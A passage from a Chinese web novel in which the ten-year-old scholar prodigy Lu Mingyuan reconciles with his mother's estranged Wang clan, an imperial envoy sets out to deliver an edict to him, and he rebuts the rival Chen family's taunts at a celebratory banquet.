王氏“腾”地一下站了起来,看着那张熟悉又添了几分风霜的脸庞。 十年来的委屈、思念、愧疚、不安,在这一刻尽数化作决堤的洪水,汹涌而出。 “哥!” 她再也忍不住,快步上前,扑进了兄长的怀里,放声大哭起来。 王景轩的身子微微一僵,随即伸出双臂,紧紧地抱住了失散十年的妹妹。 他能感觉到怀中妹妹的身体在剧烈地颤抖,那哭声里,蕴含了太多的辛酸。 他的鼻孔一酸,眼眶也瞬间红了。 他有满腹的话想要呵斥,想问她为何如此狠心。 十年杳无音信,想问她可知父母为她白了多少头发,愁了多少日夜。 可话到嘴边,看着她那张憔悴的脸,看着她鬓边早生的华发,所有的责备都化作了化不开的心疼。 他轻轻拍着妹妹的后背,长长地叹了一口气,声音里满是怜惜。 “你啊你……还知道回来……受苦了,这些年,在外面受苦了吧?” “你这个傻丫头,为什么这么多年都不肯回来看看?” “就算父亲当年说了气话,要断绝父女关系,可那终究是气话啊!” “你回来,低个头,认个错,他难道真的能狠心不认你这个亲生女儿吗?” 王氏趴在王景轩的怀中,哭得上气不接下气,像是要把这十年的泪水一次流尽。 “我……我没脸回来……” 她哽咽着,断断续续地说道。 “我当初……那么任性,让爹娘蒙羞,让王家丢了脸面。” “我总想着,等……等我们过好了,等……等明渊出息了,我再风风光光地回来,给爹娘磕头认错。” “可这一等……就是这么多年。” “我……我一直耽误了明渊,让他跟着我们吃苦,让他下地干活……是我对不起他。” “直到今年下半年,这孩子也不知怎么的,突然就跟顿悟了一样,说要读书。” “短短半年,他……他就接连中了县试魁首和府试魁首!” “县衙和杭州府,赏赐了一千五百两银子……我们家,我们家总算是熬出头了!” “哥,我们熬出头了!我这才……这才敢有脸面,回家来看看。” 说着,她从兄长怀里挣脱出来,擦了擦眼泪,回身招了招手,将一直静立在一旁的陆明渊拉了过来。 “明渊,快,这是你舅舅,快叫人!” 陆明渊上前一步,对着王景轩恭恭敬敬地躬身一礼。 衣衫华贵,身姿挺拔如松,一双眸子清澈而沉静,没有丝毫少年人的怯懦与浮躁。 “外甥陆明渊,拜见舅舅。” 他的声音清朗沉稳,不卑不亢,自有一股令人心折的气度。 跟在他身后的陆明泽有样学样,也学着哥哥的样子,踉踉跄跄地作了个揖,奶声奶气地喊道。 “舅……舅舅!” 王景轩的目光,从妹妹身上移到了这个素未谋面的外甥身上。 第一眼,他便被陆明渊的气度所吸引。 这孩子,眉眼间继承了陆从文的英挺和妹妹的清秀,小小年纪,却已是仪表堂堂。 更难得的是那份从容不迫的气质,眼神里没有丝毫的躲闪与不安。 “好,好孩子,快起来。” 王景轩心中那最后一丝对陆从文的芥蒂,在看到这个外甥时,也消散了大半。 他笑着上前,先是伸手将陆明渊扶起,而后弯腰,一把将肉嘟嘟的小明泽抱了起来。 “哈哈,这个小家伙,倒是机灵可爱!” 他用下巴的胡茬轻轻蹭了蹭陆明泽的脸蛋,逗得小家伙咯咯直笑。 “舅舅好!” 陆明泽一点也不怕生,抱着王景轩的脖子,脆生生地又喊了一声。 “哎!真乖!” 王景轩笑呵呵地应着,从怀里掏出一块成色极佳的玉佩,不由分说地塞进了陆明泽的怀里。 “来,这是舅舅给的见面礼。” 他逗了陆明泽两下,才将他交还给王氏,目光重新落回到陆明渊身上,眼神里充满了赞许与审视。 “不愧是我王景轩的外甥,这番气度,果然不凡。” 他满意地点了点头。 “听你母亲说,你读书不过半年,便连中县试、府试双魁首?此等天赋,当真是……当真是令人惊叹!” 他本就是饱读诗书之人,深知科举之难。 半年之内,从一个农家子弟,连夺两案首,这已经不能用天赋异禀来形容,简直是闻所未闻的奇迹! “未来,一个进士功名,怕是难免的。我们王家,说不定还要指望你来光耀门楣!” 这番话,已是极高的评价。 王景轩看着陆明渊,越看越是喜欢,笑道。 “来的匆促,你弟弟的见面礼给了,你的,可不能马虎。” “晚些时候,舅舅亲自去库房给你挑一件,保证你满意!” 陆明渊再次拱手,神情依旧平静。 “多谢舅舅厚爱。外甥此番随母亲归家,一为探望外公外婆,以尽孝心;二为祭拜王家先祖,聊表寸心。” “无论如何,外甥体内,终究流着一半王家的血脉。” “过去的事情,外甥年幼不知,也不敢妄议。但如今我既已长大,总归是要回来,认祖归宗的。” 这番话说得滴水不漏,既表明了立场,又给足了王家长辈面子。 言辞恳切,态度谦恭,却又字字句句都透着一个“理”字。 王景轩听得连连点头,眼中的欣赏之色更浓。 好一个陆明渊! 有此子在,妹妹这十年的苦,终究是没有白受! 陆从文这个妹夫虽然窝囊了些,但却生了个好儿子! “说得好!说得好啊!” 王景轩拍了拍陆明渊的肩膀,心中已然打定了主意。 他转过头,对依旧有些惴惴不安的妹妹和陆从文说道。 “你们放心,父亲那边,有我。婉君,你先带着孩子们在这里歇着,我去去就来。” 第102章 我王家之后,出了一位双科案首 王家后院,书房。 与前厅的暖意融融不同,此地更显清冷肃穆。 四壁皆是顶天立地的书架,满满当当地塞着经史子集,空气中弥漫着浓郁的墨香与旧纸张的味道。 一位须发皆白,身穿藏青色棉袍,面容清癯,眼神却依旧锐利如鹰隼的老者,正端坐于一张宽大的紫檀木书案后,手持一卷书,看得入神。 正是王家家主,王厚海。 “吱呀——” 书房的门被轻轻推开,王景轩迈步而入,反手将门合上,隔绝了外面的风雪。 王厚海眼皮都未抬一下,只是淡淡地问道:“何事?” “父亲。” 王景轩躬身行礼,声音沉稳。 “婉君……她回来了。” 王厚海翻书的手,微微一顿。 书房内陷入了死一般的寂静,只听得见窗外风雪呼啸。 过了许久,王厚海才缓缓将手中的书卷合上,放在书案上,发出一声轻微的闷响。 他抬起头,那双浑浊却精光四射的眸子,直直地盯着自己的长子。 “哪个婉君?” 他的声音沙哑,像是从冰封的湖面下传来。 “我王厚海,只有一个儿子,没有女儿。” 王景轩心中一叹,知道父亲的倔脾气又上来了。 他硬着头皮,继续道:“父亲,妹妹她……带着孩子,就在前厅候着。十年了,她……” “十年?” 王厚海冷笑一声,那笑声里充满了无尽的悲凉与怒火。 “她还知道是十年?我只当她死在外面了!当年我放出话,王家再无此女,她便真的当自己不是王家人了!” “十年音讯全无,一封书信也无,仿佛我这个父亲,早已死在了她的心里!” “好!好一个孝顺女儿!真是好狠的心!” “砰!” 他一掌拍在书案上,震得笔架上的狼毫笔都跳了起来。 “父亲息怒。” 王景轩连忙上前一步。 “妹妹她……她也是有苦衷的。她说,当年任性离家,让王家蒙羞,自觉无颜面对您和母亲。” “她总想着……等日子过好了,再风风光光地回来给您磕头认错。” “过好了?” 王厚海的怒气更盛。 “跟着那个穷酸书生,能过上什么好日子?我王家锦衣玉食地养她二十年,她偏要去吃那糠咽菜的苦头!这是她自找的!” “父亲,此一时彼一时。” 王景轩深吸一口气,终于抛出了自己手中的王牌。 “妹妹说,她之所以今日敢回来,是因为……她的儿子,您的外孙,出息了。” “她的长子,陆明渊,读书半年,连中县试魁首、府试魁首!双案首!杭州府与县衙,共赏银一千五百两!” “什么?!” 王厚海猛地从太师椅上站了起来,双目圆睁,满脸的难以置信。 “你……你再说一遍?” 他的声音都在颤抖。 “外甥陆明渊,年仅十岁,连夺县、府两试案首!如今,人就在前厅!” 王景轩一字一顿地重复道。 “陆明渊……我的好外孙……” 王厚海喃喃自语,脸上的肌肉因为激动而微微抽搐。 他再也顾不上什么规矩体面,一把推开挡在身前的王景轩,大步流星地朝着书房外走去。 那急促的脚步声,哪里还有半分老态龙钟的模样! …… 厅堂外,寒风凛冽。 王氏正领着陆从文和两个孩子,在廊下焦急地等待着。 当那扇厚重的书房门被猛地推开,看到父亲那张既熟悉又陌生的面孔时,她的眼泪瞬间夺眶而出。 “爹!” 王氏双膝一软,直直地跪了下去,泣不成声:“女儿不孝,女儿给您磕头了!” 陆从文见状,也立刻跟着跪下,将头深深地埋了下去,不敢看老丈人一眼。 陆明渊拉着弟弟,也一同跪在了雪后冰冷的青石板上。 然而,王厚海的眼中,此刻根本没有那个让他怨了十年的女儿,更没有那个让他恨了十年的女婿。 他的目光,如同一道利箭,穿过所有人,直接落在了那个跪在最前面,身姿挺拔,神情平静的少年身上。 那就是……陆明渊? 他的外孙? 王厚海三步并作两步,径直走到陆明渊身前,完全无视了跪在一旁的女儿女婿。 他弯下腰,伸出那双有些颤抖的手,亲自将陆明渊搀扶了起来。 “你……你就是明渊?” “外孙陆明渊,拜见外公。” 陆明渊不卑不亢地再次行了一礼。 “好,好,好!” 王厚海连说了三个“好”字,他仔仔细细地打量着眼前的少年。 这张脸,眉眼清秀,像极了婉君年轻时的模样,但那挺直的鼻梁和坚毅的下颌,却又带着几分陆从文的英气。 小小年纪,便有这般风骨气度! 王厚海满意地点了点头,心中最后的一丝芥蒂也烟消云散。 他伸手,轻轻抚摸着陆明渊的头顶。 眼神中充满了复杂的情感,有欣慰,有骄傲,也有一丝深深的愧疚与后怕。 “像,真像啊……果然是我王家的种!” 他感慨万千,声音也变得柔和下来。 “孩子,你出生的时候,外公还亲手抱过你……一转眼,都长这么大了。” 他的目光转向跪在地上的陆从文,眼神又瞬间变得冰冷。 “当年,我便看他有几分读书的天分,才动了心思。谁曾想,他竟是个自毁前程的废物!” “放着好好的青云路不走,偏要回家去刨那几亩薄田!不仅毁了自己,还差点……差点毁了你!” 一想到自己这个天资非凡的外孙,竟然在田间地头浪费了十年光阴,王厚海的心就如同被刀割一般。 好在,好在现在还不晚! “父亲……” 王景轩此时上前一步,轻轻咳嗽了一声,提醒道。 “妹妹和妹夫,还跪在地上呢。” 王厚海冷哼一声,瞥了一眼依旧跪着的陆从文,怒气又涌了上来。 “跪着?跪着还不解气!我恨不得让人打断他的腿!” “把我王家最疼爱的女儿拐走,让她在外面吃了十年的苦!这笔账,没那么容易算!” 他指着陆从文,声色俱厉地说道。 “你,就在这院子里给我跪着!跪足一炷香!什么时候香燃尽了,什么时候再起来!算是给你小惩大诫!” “是,岳父大人。” 陆从文闻言,没有丝毫辩解,只是将头埋得更低,老老实实地应了一声。 王氏心疼丈夫,想要开口求情,却被王厚海一个严厉的眼神给瞪了回去。 就在这时,刚刚起身的陆明渊,却又一次,直挺挺地跪了下去,与父亲并肩。 “外公。” 他的声音清朗而坚定。 “父亲当年放弃学业,回家务农,固然有他自己的考量,但其中,也有为了扶持堂兄读书的缘故。” “此事,不能全怪父亲一人。孙儿身为长子,未能替父亲分忧,亦有过错。要罚,便请连孙儿一起罚。” 这番话,掷地有声,让在场所有人都愣住了。 谁也没想到,这个十岁的少年,竟有如此担当! 他没有为父亲辩解,而是将责任揽到了自己身上,一番话说得有理有据,情真意切,让人无法反驳。 王厚海看着跪在自己面前,脊梁挺得笔直的外孙,心中又是心疼又是震撼。 他本意只是想磋磨一下陆从文,出一口恶气,哪里舍得让自己这个宝贝外孙受半点委屈? “你……你这是做什么!快起来!” 王厚海急忙要去扶他。 陆明渊却跪着不动,平静地说道:“父亲不起来,孙儿便不起来。” 祖孙二人,一个站着,一个跪着,就这么对峙着。 一个眼神倔强,一个眼神坚定。 良久,王厚海长长地叹了一口气,终究是败下阵来。 他狠狠地瞪了陆从文一眼,没好气地冷着脸挥了挥手。 “罢了罢了!算你生了个好儿子!起来吧!都起来!看着就心烦!” “多谢岳父大人!” 陆从文如蒙大赦,连忙磕了个头,这才在王氏的搀扶下站了起来。 陆明渊也随之起身,脸上依旧是那副波澜不惊的模样。 “婉君,明渊,你们随我来。” 王厚海的脸色缓和了许多,他转身,朝着后院深处走去。 “认祖归宗,先要祭拜列祖列宗。” 王家祠堂庄严肃穆,一排排的祖宗牌位供奉在高台之上,香炉里青烟袅袅,带着一股檀香的沉静气息。 王厚海亲自点了三炷香,递到陆明渊手中,神情前所未有的郑重。 “明渊,跪下。给你王家的列祖列宗磕头。从今日起,你便是我们王家承认的子孙。” “你身上流着一半王家的血,无论你姓甚名谁,王家,永远是你的后盾。” 陆明渊接过香,恭恭敬敬地跪在蒲团上,对着那满堂牌位,行了三跪九叩的大礼。 每一个头,都磕得沉稳而实在。 礼毕,王厚海亲自将陆明渊的名字,写在了族谱之上王婉君的旁边。 看着那“陆明渊”三个铁画银钩的大字,他只觉得满心的郁结之气,在这一刻尽数散去,通体舒泰。 从祠堂出来,王厚海仿佛年轻了十岁,精神矍铄,红光满面。 他当即宣布了一个让所有人都为之震惊的决定。 “景轩!” “你立刻去发请柬!” “就说我王厚海,寻回了失散多年的外孙!两天后,王家大开宴席。” “一为庆祝我外孙认祖归宗,二为庆祝我王家之后,出了一位县、府双科案首!” “我要让整个清远县,所有有头有脸的人物都来!” “我要让他们所有人都知道,我王厚海的外孙,是人中之龙!我王家,后继有人!” 第103章 今日务必将圣旨送到陆明渊手中 不过半日,王家的下人便如潮水般涌出,骑着快马,带着烫金的请柬,奔赴清远县的四面八方。 那些平日里深居简出的豪门望族,那些在清远县跺一跺脚便能让地皮颤三颤的乡绅富贾,无一例外地收到了王家的帖子。 帖子上的字句,墨迹淋漓,力透纸背。 “王家寻回失散外孙,陆明渊,年方十岁,连中县试、府试双案首,特设宴福满楼,请诸位同庆!” 消息一经传出,便传遍清远县。 更令人瞠目结结舌的是,王家不仅包下了清远县最大的酒楼福满楼。 更是大手一挥,将县城内外所有大大小小的酒肆茶楼尽数包场。 两天之内,所有百姓皆可免费入内,大快朵颐,酒水饭菜,一应由王家买单! 这等手笔,这等气魄,震动了整个清远县。 街头巷尾,茶馆酒肆,无不议论纷纷。 “王家这是疯了不成?为了一个外孙,竟能如此铺张?” “何止铺张?这是在向整个清远县宣告,王家后继有人,而且是人中之龙!” “双案首啊!十岁稚龄,便有此等才华,假以时日,怕不是要高中状元!” “王家这十年沉寂,如今可算是要扬眉吐气了!” 无数人艳羡,无数人惊叹,也有无数人开始揣测。 王家这位十年未归的女儿,究竟是走了什么运,生出这般惊才绝艳的儿子。 而那些收到请柬的大户人家,纷纷准备赴宴。 然而,在这股普天同庆的喧嚣中,文和街的陈府,却弥漫着一股阴沉而凝重的气息。 陈府雕梁画栋,气派不凡,却与王府的古朴肃穆不同,处处透着一股张扬的奢华。 陈家家主陈远洲,听着管家禀报王家的消息。 “王厚海这老匹夫!” 陈远洲猛地一拍扶手,发出沉闷的响声,将桌上的茶盏震得微微颤动。 他的脸上,写满了不屑与恼怒。 “不过是个县试、府试的案首,连院试都未过,算不得秀才,竟敢如此大张旗鼓,恨不得昭告天下!” “他王家是没人了吗?” 一旁的少年,身穿月白色长衫,面容清秀,眉宇间带着几分傲气。他便是陈远洲的宝贝孙子,陈君佑。 “爷爷,这陆明渊虽有几分小聪明,但与孙儿相比,终究是萤火之光,岂能与皓月争辉?” 陈君佑声音清朗,却掩不住言语中的自傲。 “孙儿今年十一岁,便已考中秀才,名列前茅,这等成就,岂是他一个双案首能比拟的?” 陈远洲闻言,脸上阴沉之色稍减,转而浮现一丝得意与宠溺。 “吾孙之才,自是远胜那陆明渊百倍!我本打算今年为君佑举办宴席,庆贺他金榜题名,不曾想,竟被王厚海这老匹夫抢了先机!” 他冷哼一声,眼底闪过一丝狠厉。 “王家与我陈家,百年世仇,势不两立。他王厚海想借此扬名立万,做梦!” “这一次,我定要让那陆明渊,让那王厚海,在清远县所有大户面前,狠狠地丢一次人!” 陈远洲的目光,扫过厅堂内悬挂的几幅字画,最终定格在一幅笔走龙蛇的“忍”字上,嘴角勾起一抹阴冷的弧度。 他心中已然开始盘算,如何在两天后的宴席上,给王家一个永生难忘的“惊喜”。 就在陈远洲打算为难王家时,一封圣旨,送抵杭州府衙。 彼时,杭州知府周泰正处理着案牍。 忽闻急报,圣旨驾到,他心中一凛,连忙率领府中大小官员,恭迎于府衙正门。 一队禁卫军簇拥着一位身着绯色官袍,头戴乌纱帽,面容清癯却不失威严的中年男子,缓步而入。 来人正是礼部侍郎,谭伦。 周泰一见来人,心中更是惊骇。 礼部侍郎,乃是朝廷重臣,掌管礼仪、科举,地位显赫。 他亲自前来,必是天大的事情。 “下官杭州知府周泰,恭迎谭侍郎!” 周泰躬身行礼,姿态恭敬至极。 谭伦微微颔首,目光锐利地扫过众人,声音沉稳而带着一丝不迫的威严。 “周知府不必多礼。本官奉旨前来,有要事询问。” “敢问周知府,那陆明渊,如今身在何处?” 陆明渊? 周泰闻言一愣,随即心中掀起滔天巨浪。 难道……圣旨是为他而来? 周泰不敢怠慢,连忙拱手回禀。 “回谭侍郎,陆明渊如今应在江陵县家中。他高中府试案首后,便已返回乡里。” 谭伦眉头微蹙,却未多言。 “好,烦请周知府派人引路,本官即刻前往江陵县!” 周泰连忙亲自挑选了几名精明干练的衙役,让他们跟随谭伦一行,并备好快马。 他心中猜测,这陆明渊怕是要飞黄腾达了。 马蹄声急促,扬起一路尘土。 半日后,谭伦一行人风尘仆仆地赶到了江陵县。 县衙前的县丞,见到礼部侍郎的仪仗,吓得魂飞魄散,连滚带爬地迎了出来。 “下……下官江陵县县丞,恭迎谭……谭侍郎!” 他结结巴巴,额头冷汗直冒。 礼部侍郎,这等大人物,怎么会突然驾临他们这小小的江陵县? 谭伦没有理会县丞的惊慌失措,直接开门见山地问道。 “陆家村的陆明渊,他家在何处?速速带本官前去!” 县丞一听,这才恍然大悟,原来是为了陆明渊! 他连忙点头哈腰,亲自在前方引路,将谭伦一行带到了陆家村。 陆府外,那简朴却带着几分书卷气的牌匾,映入谭伦的眼帘。 他一眼便认出,那牌匾上遒劲有力的“陆府”二字,正是陆明渊的笔迹! 谭伦的目光,在那牌匾上停留了许久,心中感慨万千。 好一个意气风发的少年郎! 怪不得能写出“莫道青衫薄,今朝第一流!”这等气吞山河的诗句! 这番少年,必定是未来的肱股之臣!清流必须拉拢! 谭伦在心中默默思忖着,对陆明渊的期待又高了几分。 他此番前来,不仅仅是宣读圣旨,更是代表着朝中清流,向这位少年天才抛出橄榄枝。 就在谭伦沉思之际,随行而来的禁卫军统领却面露尴尬之色,上前一步,低声禀报。 “谭侍郎,卑职等已经探查过,屋内……屋内没人。” “卑职等询问了周围的邻居,他们说……陆家一家人,雇了一辆马车,赶往了隔壁的清远县,好像是要探亲……” 谭伦闻言,眉头顿时紧皱,眼中闪过一丝不悦。 他呵斥道:“胡闹!陛下亲自封爵,这等大事,岂能耽搁片刻!” “立刻快马加鞭,赶往清远县!” “无论如何,今日务必将圣旨送到陆明渊手中!” 禁卫军众人闻言,不敢怠慢,立刻收拾兵马,护送谭伦,再次踏上了征途。 第104章 这等天赋,简直是惊世骇俗! 次日,清远县,福满楼大酒楼。 酒楼门外,人声鼎沸! 从街头巷尾汇聚而来的马车、轿子,将福满楼前的青石板路堵得水泄不通。 各色华服锦衣,在冬日暖阳下熠熠生辉,彰显着清远县豪门望族的底蕴。 福满楼的门前,王厚海一袭深色长袍,面色红润,眉宇间尽是压抑不住的喜悦。 他身形虽已佝偻,但今日却显得格外挺拔。 他身旁立着的,正是陆明渊。 十岁的少年,一袭月白色长衫,身姿笔挺如松,面容清秀,眉眼间却带着超越年龄的沉稳与淡然。 他安静地站在王厚海身边,面对着络绎不绝前来贺喜的清远县大户,不卑不亢,拱手回礼。 “王老哥,恭喜恭喜啊!寻回外孙,乃是天大的喜事!” “是啊,陆公子年少有为,连中双案首,这可是清远县多少年不曾有过的盛事!王家后继有人,可喜可贺!” “老夫早就听闻陆公子才华横溢,今日一见,果然是人中龙凤,前途不可限量啊!” 一声声恭维,一句句赞叹,让王厚海心中格外舒爽。 他面上谦逊地拱手回礼,口中连道“过奖,过奖,小儿不过是运气好些”。 可那微微上扬的嘴角,眼底怎么也掩饰不住的骄傲,却泄露了他此刻的真实心境。 陆明渊在一旁静静听着,脸上挂着得体的微笑。 他心里清楚,这些人今日前来,除了给王家面子,更多的,是对他“双案首”身份的人情世故。 这种世故与人情,他虽是初次亲身体验,却并不陌生,前世的网络小说里,这样的桥段,比比皆是。 待到宾客渐齐,王厚海这才领着陆明渊、陆从文一家,浩浩荡荡地步入福满楼三楼大厅。 三楼大厅,雕梁画栋,红木桌椅错落有致,桌上摆满了各色珍馐美酒,香气扑鼻。 清远县所有的大户人家,此刻都已济济一堂。 他们或三五成群,低声交谈,或举杯相邀,推杯换盏。 整个大厅内,弥漫着一种热闹而又隐约带着几分紧张的氛围。 当王厚海带着陆明渊等人出现时,原本嘈杂的大厅,瞬间安静了片刻。 所有人的目光,齐刷刷地投向了门口。 “王老家主来了!” 不知是谁低呼一声,紧接着,一众大户纷纷起身,脸上堆满了笑容,再次涌上前去。 “陆公子气度不凡,果然是王家龙孙!” “王老家主教子有方,王家有此麒麟儿,何愁不兴?” “恭喜王老家主,贺喜王老家主!” 奉承之声不绝于耳,如同潮水般将王厚海淹没。 王厚海笑得合不拢嘴,连连拱手,将陆明渊拉到身前,向众人介绍。 陆明渊亦是沉稳应对,礼数周全,让那些原本只是听闻其名的大户们,更是暗自赞叹不已。 陆从文和王氏则站在陆明渊身后,看着儿子被众人簇拥赞美,心中百感交集。 陆从文憨厚老实的脸上,是掩饰不住的骄傲与欣慰。 王氏的眼眶则有些泛红,她紧紧握着陆从文的手。 王厚海享受着这众星捧月般的待遇,这正是他想要的。 然而,就在这言笑晏晏、宾主尽欢的时刻,一道不合时宜的声音,却突然传了出来。 “哟,王家这排场可真不小啊!不知道的,还以为是状元及第,金榜题名了呢!” 伴随着这声阴阳怪气的嘲讽,陈家家主陈远洲,带着他的孙子陈君佑,大摇大摆地走进了福满楼三楼大厅。 陈远洲身着一袭绛紫色锦缎长袍,面色红润,眼角却带着几分阴鸷。 他身旁的陈君佑,则是一袭月白色长衫,面容清秀,眉宇间带着与生俱来的傲气。 陈君佑此刻正用一种不屑的眼神,扫视着陆明渊。 陈远洲根本不理会众人的目光,径直走到王厚海面前,冷哼一声,那声音在大厅中显得格外刺耳。 “王厚海,你这老匹夫,真是越老越糊涂!为了一个外孙,竟能如此铺张,恨不得昭告天下。” “怎么?你王家是没人了吗?要靠一个外姓人来撑门面?” 他目光一转,落在陆从文身上,眼神中的轻蔑与嘲讽,毫不掩饰。 “还有这位……陆从文,是吧?一个泥腿子出身的农民,也就你王家看得上这种货色,愿意让千金女儿下嫁,还跟王家断绝关系。” “啧啧,要是我陈家要是出了这样丑闻,陈某只觉得愧对祖宗,躲起来都来不及,怎么好意思开宴会,还请大家参加,是觉得不够丢人吗?” 陈远洲的话语,狠狠地扇了陆从文和王厚海一巴掌。 大厅内的喧嚣瞬间凝固,所有人的目光,都带着几分看好戏的意味,在王家和陈家之间来回穿梭。 清远县两大家族的百年世仇,今日看来,是注定要在这福满楼内,掀起一场腥风血雨了。 王厚海的脸色,瞬间由红转青,再由青转白。 “陈远洲!你放肆!” 王厚海怒喝一声,声如洪钟,震得大厅内的茶盏都微微颤抖。 “今日是我王家寻回外孙的喜宴,你陈家若是不满,大可以不来!” “如今你却带着你那不争气的孙子前来闹事,当着清远县所有大户的面,羞辱我王家,羞辱我外孙,羞辱我女儿女婿!” “你当真以为,我王厚海是泥捏的不成?” 王厚海指着陈远洲,怒不可遏地说道。 “你我两家的恩怨,与陆家何干?今日你若执意在此闹事,让我外孙下不来台,我王厚海便在此立誓,从今以后,我王家与你陈家,不死不休!” 他这番话让在场的许多大户都为之侧目。 王厚海虽然年迈,但其家主的威严与气魄,却丝毫未减。 然而,陈远洲却对此不以为意,他只是轻蔑地一笑。 “不死不休?王厚海,你这老匹夫,莫不是老糊涂了,连话都说不清楚了?” “你王家如今靠一个连秀才都不是的外孙撑门面,也配与我陈家不死不休?” 陈远洲的声音陡然提高,带着一股嚣张的挑衅。 “一个外孙,不过是中了县试、府试的双案首,不知道的,还以为是中了状元魁首。” “如今连个秀才都不是,也好意思举办这等大宴,普天同庆?真是贻笑大方!” 他环视一周,嘴角勾起一抹阴冷的弧度。 “既然今日清远县所有大户都在此,那陈某也正好借此机会,向诸位宣布一件喜事!” 陈远洲说着,一把将身边的陈君佑拉到身前,脸上得意之色,再也无法掩饰。 “我孙儿陈君佑,年方十一,已于今年秋闱院试中,高中榜眼!如今已是堂堂正正的秀才身份!” 此言一出,犹如一道惊雷,在福满楼三楼大厅内轰然炸响! 全场哗然! 原本还带着几分看好戏心态的众人,此刻纷纷变了脸色。 他们震惊地看向陈君佑,又看看王厚海身旁,那个同样年幼,却只有“双案首”头衔的陆明渊。 院试榜眼! 秀才身份! 这可与县试、府试的案首完全不同! 县试和府试,不过是童生试的预备,只有通过院试,才能真正获得“秀才”的功名,有了士人的身份! 而陈君佑,十一岁便高中院试榜眼,这等天赋,简直是惊世骇俗! “而且!” 陈远洲见众人震惊,更是得意,声音中带着一股前所未有的狂傲。 “我孙儿君佑,今年更是拜入了嘉兴知府门下,成为了知府大人的亲传弟子!日后前途无限,不可限量!” “明日,我陈家将在陈府设宴,宴请清远县各位同僚,为君佑庆贺!” “届时,嘉兴知府大人也会亲自前来赴宴,还望各位赏光,给个薄面!” 陈远洲的声音落下,整个大厅彻底沸腾了。 “十一岁的秀才榜眼!这……这简直是妖孽般!” “陈家居然藏得这么深!我等竟丝毫不知!” “拜入知府门下,这可不是寻常的师生关系,这是未来仕途的巨大助力啊!” 一时间,众人低声议论,原本围绕在王厚海身边的那些恭维与赞叹,瞬间消失得无影无踪。 许多人的目光,已经开始悄然转向陈远洲和陈君佑,眼神中充满了艳羡与讨好。 们纷纷在心中盘算,陈家如今有此等天才,又有知府大人撑腰。 未来在清远县的地位,必然更上一层楼。 此时不投靠,更待何时? 这些议论落在王厚海耳中,让他气血一阵上涌,他只觉眼前金星乱冒,差点儿要当场晕过去。 陆从文更是无比羞愧,他看着那些投向自己的鄙夷目光,只觉得无地自容。 他知道,之所以如此羞辱王家,羞辱王氏,归根结底,还是因为他这个“泥腿子”女婿。 就在王厚海气得浑身发抖,陆从文羞愧欲死之时,一道清朗而沉稳的声音响彻酒楼。 “想来这位便是外公时常提起的陈家家主,陈远洲!” 陆明渊,在所有人的注视下,缓缓上前一步,向着陈远洲,不卑不亢地拱手行礼。 第105章 圣旨到,江陵县陆明渊接旨! “想来这位便是外公时常提起的陈家家主,陈远洲!” 在所有人的注视下,陆明渊缓缓上前一步,向着陈远洲,不卑不亢地拱手行礼。 “外公常说,陈家主乃是清远县有名的豪杰,行事光明磊落,从不屑于背后嚼舌根,更不会在人前落井下石。” 陆明渊的声音平稳,不带一丝火气,却字字珠玑。 “今日一见,晚辈方知,外公对陈家主的评价,或许有失偏颇。” 此言一出,大厅内原本凝滞的气氛,恍然一变。 一个十岁的少年,面对陈远洲这等老辣的家主,竟能如此从容不迫。 甚至敢于当面驳斥,这等胆识,着实令人侧目。 王厚海紧握的拳头微微松开,眼中闪过一丝赞许。 陈远洲的脸色,却在陆明渊这番话语下,肉眼可见地阴沉了几分。 他原以为陆明渊不过是个被宠坏的少年,却没想到,陆明渊一开口便将他架在了道德制高点。 陆明渊没有理会陈远洲变幻的脸色,继续说道。 “至于家父陆从文,陈家主称其为‘泥腿子出身的农民’,晚辈不敢苟同。” 他拱手向众人,语气不卑不亢。 “当年陆家老太爷病重,撒手人寰,家父作为家中长子,为支撑陆家,毅然放弃了求学之路,扛起一家之主的重担。” “家父含辛茹苦,托举亲弟弟一家,供其读书,此乃孝悌兼备,义薄云天之举!” 陆明渊的声音在大厅中回荡,每一个字都掷地有声。 他看向陈远洲,眸光锐利了几分。 “晚辈不明白,这等舍己为人,顾全大局的义举,为何在陈家主口中,竟成了值得嘲讽的‘丑闻’?” “难道在陈家主看来,读书求取功名,便可罔顾人伦,弃家庭责任于不顾?” 这番话,如同洪钟大吕,震得在场许多人心中一凛。 在这个重孝道、讲伦常的时代,陆明渊的这番辩驳,无疑占据了道德的制高点。 那些原本对陆从文带着几分轻蔑的目光,此刻也多了几分思索。 一个为了家庭牺牲自己前途的长子,其品格,绝非“泥腿子”三字可以概括。 陆从文听着儿子为自己辩白,眼眶不觉间湿润。 陆明渊再次转向陈远洲,语气带着一丝淡淡的讽刺。 “至于家母王氏,陈家主更是言辞凿凿,说她‘下嫁’,说王家‘丢人’。” 他眼神扫过王氏,带着一丝柔和的敬意。 “家母当年,并非嫁给了一个‘泥腿子’,而是嫁给了她心爱之人。” “她与家父相知相爱,情投意合,这些年虽有苦难,但夫妻同心,相濡以沫,如今苦尽甘来,一家和乐,这难道不是一段佳话吗?” 他的声音陡然拔高了几分,带着一股少年人特有的锐气。 “晚辈斗胆猜测,陈家主之所以对家母的婚事如此耿耿于怀,甚至不惜当众羞辱。” “莫非……是陈家曾有千金外嫁,却过得不甚愉快,以至于陈家主对此类婚事,便有如此偏见?” 此言一出,瞬间击中了陈远洲的软肋! 陈家曾有一位嫡女,当年不顾家族反对,执意嫁给了一个寒门书生。 结果那书生考取功名后,却始乱终弃,将陈家女休弃,此事一度让陈家颜面扫地,成为清远县茶余饭后的谈资。 陆明渊这番话,无疑是当众揭开了陈远洲的伤疤! 陈远洲的脸色瞬间涨成了猪肝色,他指着陆明渊,气得浑身发抖,一时间竟说不出话来。 他万万没想到,一个十岁的少年,竟能让他在众人面前下不来台! 陆明渊见状,唇角勾起一抹不易察觉的弧度,他再次拱手,语气恢复了先前的沉稳与从容。 “既然陈家主提到了晚辈,那明渊便斗胆出面,回答一二。” 他目光转向陈君佑,眼中带着一丝探究。 “晚辈中县试、府试双案首,的确不值得骄傲,毕竟这只是童生试,尚未入儒门。” “但晚辈先前为了照顾长兄读书,下地数年,直到今年方才拿起书本,读书不过半年,便接连中两试魁首。” 他顿了顿,语气中带着一丝若有似无的挑衅。 “敢问陈家家主,陈家的长孙陈君佑,读书也仅仅半年而已?” “若他能有晚辈这般经历,想来十一岁便高中院试榜眼,拜入知府门下,那才真是惊世骇俗,当之无愧的清远县第一才俊!” 陆明渊的话语,如同连珠炮般,将陈远洲和陈君佑彻底轰懵了。 他承认自己的成就“不值得骄傲”,却又巧妙地将自己的艰苦背景与陈君佑的顺风顺水做了对比。 瞬间将陈君佑那“十一岁秀才榜眼”的含金量,拉低了不止一筹。 